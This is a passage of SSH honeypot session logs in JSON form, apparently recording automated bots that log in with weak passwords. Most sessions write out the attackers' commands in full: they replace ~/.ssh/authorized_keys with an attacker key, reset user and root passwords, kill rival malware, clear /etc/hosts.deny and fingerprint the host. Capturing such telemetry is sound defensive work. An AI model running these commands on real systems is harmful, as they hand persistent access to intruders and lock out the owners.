user, load average: 0.3, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:28:01.401522+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:28:02.301642+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:28:03.063040+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:28:03.723310+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:28:04.481764+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:28:05.192603+00:00","kind":"output","latency_ms":null,"data":"top - 11:28:05 up 7 days, 8:18, 0 user, load average: 0.3, 0.21, 0.31\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:28:05.968131+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:28:06.793861+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:28:07.556126+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:28:07.804356+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:28:08.563429+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:28:08.871561+00:00","kind":"output","latency_ms":null,"data":"suhail"},{"seq":29,"at":"2026-08-27T11:28:09.638099+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:28:10.903759+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:28:11.674447+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:28:12.683694+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"suhail","password":"suhail","method":"password","accepted":true,"tier":"other"}]} {"id":"9045f81a-9116-4ae4-a163-1edf5f52e5a7","name":"foggy-crimson-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":47924,"username":"elasticsearch","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:27:39.747860+00:00","ended_at":"2026-08-27T11:27:40.968013+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2229,"events":[{"seq":1,"at":"2026-08-27T11:27:14.410735+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:27:14.674641+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:27:19.104959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:27:20.390802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:27:20.654373+00:00","kind":"input","latency_ms":null,"data":"echo -e \"elasticsearch@1234\\nkOIzYlCpvUuj\\nkOIzYlCpvUuj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:27:20.917673+00:00","kind":"input","latency_ms":null,"data":"echo \"elasticsearch@1234\\nkOIzYlCpvUuj\\nkOIzYlCpvUuj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:27:21.180903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:27:22.564066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:27:22.596797+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:27:22.861148+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:27:22.935267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:27:24.493030+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:27:24.760476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:27:26.544375+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:27:26.821163+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:27:27.663623+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:27:27.926313+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:27:29.609889+00:00","kind":"output","latency_ms":null,"data":" 11:27:29 up 7 days, 8:17, 0 user, load average: 0.29, 0.32, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:27:29.876643+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:27:30.737399+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:27:31.003231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:27:32.183213+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:27:32.448256+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:27:33.591879+00:00","kind":"output","latency_ms":null,"data":"top - 11:27:33 up 7 days, 8:17, 0 user, load average: 0.29, 0.32, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:27:33.857196+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:27:35.666574+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:27:35.930775+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:27:37.202279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:27:37.468400+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:27:38.364389+00:00","kind":"output","latency_ms":null,"data":"elasticsearch"},{"seq":31,"at":"2026-08-27T11:27:38.630119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:27:39.484511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:27:39.748675+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:27:40.891797+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c6b51dd0-0841-4892-9530-919ad3905d4e","name":"coastal-noble-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59022,"username":"gitlab","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:26:05.452188+00:00","ended_at":"2026-08-27T11:26:07.004443+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2186,"events":[{"seq":1,"at":"2026-08-27T11:25:43.958500+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:25:44.420081+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:25:50.280641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:25:50.796843+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:25:51.252994+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gitlab@2026\\nHhIerqA5wTYJ\\nHhIerqA5wTYJ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:25:51.717761+00:00","kind":"input","latency_ms":null,"data":"echo \"gitlab@2026\\nHhIerqA5wTYJ\\nHhIerqA5wTYJ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:25:52.175755+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:25:52.864853+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:25:53.318111+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:25:54.658756+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:25:55.113460+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:25:55.981226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:25:56.442542+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:25:56.750719+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:25:57.232556+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:25:57.547506+00:00","kind":"output","latency_ms":null,"data":" 11:25:57 up 7 days, 8:16, 0 user, load average: 0.27, 0.34, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:25:58.004717+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:25:58.736047+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:25:59.191184+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:25:59.673208+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:26:00.135050+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:26:00.673511+00:00","kind":"output","latency_ms":null,"data":"top - 11:26:00 up 7 days, 8:16, 0 user, load average: 0.27, 0.34, 0.27\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:26:01.129780+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:26:01.826845+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:26:02.289940+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:26:02.601122+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:26:03.059661+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:26:03.350363+00:00","kind":"output","latency_ms":null,"data":"gitlab"},{"seq":29,"at":"2026-08-27T11:26:03.805326+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:26:04.996099+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:26:05.452935+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:26:06.864138+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gitlab","password":"gitlab@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"1e946322-b3b0-4a41-8174-8fdf7e3823c4","name":"nautical-fleeting-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38880,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:25:47.741804+00:00","ended_at":"2026-08-27T11:25:48.902807+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T11:25:19.771706+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:25:20.032818+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:25:24.099131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:25:25.624102+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:25:25.885150+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KoS03niMRvpi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:25:26.147125+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:25:26.404242+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:25:27.620910+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:25:28.412389+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:25:28.673821+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:25:29.485711+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:25:29.752541+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:25:30.663479+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:25:30.926199+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:25:32.260038+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:25:32.520029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:25:34.665908+00:00","kind":"output","latency_ms":null,"data":" 11:25:34 up 7 days, 8:15, 0 user, load average: 0.18, 0.19, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:25:34.928235+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:25:36.256142+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:25:36.517125+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:25:37.332335+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:25:37.598900+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:25:39.699857+00:00","kind":"output","latency_ms":null,"data":"top - 11:25:39 up 7 days, 8:15, 0 user, load average: 0.18, 0.19, 0.22\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:25:39.960063+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:25:41.679811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:25:41.944262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:25:44.030959+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:25:44.298336+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:25:45.400389+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:25:45.662507+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:25:47.482555+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:25:47.742722+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:25:48.827903+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!q2w3e4r5t","method":"password","accepted":true,"tier":"other"}]} {"id":"91abbb7b-49ed-451c-8cfe-7e9478c5b09f","name":"bronzed-lawful-otter","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":40558,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:25:23.670426+00:00","ended_at":"2026-08-27T11:25:24.758400+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-27T11:24:56.384619+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:24:57.157543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:25:03.019091+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:25:03.767293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:25:04.535934+00:00","kind":"input","latency_ms":null,"data":"echo \"root:kPlQTUDEVSQw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:25:05.317437+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:25:06.090078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:25:06.421048+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:25:07.190855+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:25:08.139663+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:25:08.915461+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:25:10.379489+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:25:11.156834+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:25:11.700882+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:25:12.471249+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:25:13.098517+00:00","kind":"output","latency_ms":null,"data":" 11:25:13 up 7 days, 8:15, 0 user, load average: 0.22, 0.21, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:25:13.871600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:25:14.240900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:25:15.013243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:25:15.632474+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:25:16.422372+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:25:16.969955+00:00","kind":"output","latency_ms":null,"data":"top - 11:25:16 up 7 days, 8:15, 0 user, load average: 0.22, 0.21, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:25:17.739885+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:25:18.276703+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:25:19.038461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:25:19.306466+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 